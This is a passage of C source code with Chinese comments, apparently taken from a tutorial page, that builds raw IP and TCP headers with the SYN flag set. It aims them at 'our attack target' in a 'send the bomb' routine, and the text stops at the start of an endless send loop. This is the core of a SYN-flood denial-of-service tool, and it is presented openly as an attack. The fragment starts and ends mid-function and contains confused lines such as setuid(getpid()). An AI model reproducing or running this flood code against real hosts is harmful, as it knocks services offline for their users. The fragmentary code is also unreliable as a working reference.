background image

fprintf(stderr,"Socket Error:%sna",strerror(errno));
exit(1);
}
/******** 设置 IP 数据包格式,告诉系统内核模块 IP

 

数据包由我们自己来填写 ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 没有办法,

 

只用超级护用户才可以使用原始套接字 *********/

setuid(getpid());
/********* 发送炸弹了!!!! ****/
send_tcp(sockfd,&addr);
}
/******* 

 

发送炸弹的实现 *********/

void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 

 

用来放置我们的数据包 ****/

struct ip *ip;
struct tcphdr *tcp;
int head_len;
/******* 我们的数据包实际上没有任何内容,

 

所以长度就是两个结构的长度 ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充 IP 数据包的头部,还记得 IP 的头格式吗? ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION; /** 

 

版本一般的是 4 **/

ip->ip_hl=sizeof(struct ip)>>2; /** IP

 

数据包的头部长度 **/

ip->ip_tos=0; /** 

 

服务类型 **/

ip->ip_len=htons(head_len); /** IP

 

数据包的长度 **/

ip->ip_id=0; /** 

 

让系统去填写吧 **/

ip->ip_off=0; /** 和上面一样,

 

省点时间 **/

ip->ip_ttl=MAXTTL; /** 

 

最长的时间 255 **/

ip->ip_p=IPPROTO_TCP; /** 

 

我们要发的是 TCP

 

包 **/

ip->ip_sum=0; /** 

 

校验和让系统去做 **/

ip->ip_dst=addr->sin_addr; /** 

 

我们攻击的对象 **/

/******* 开始填写 TCP

 

数据包 *****/

tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port; /** 

 

目的端口 **/

tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1; /** 

 

我要建立连接 **/

tcp->check=0;
/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
while(1)
{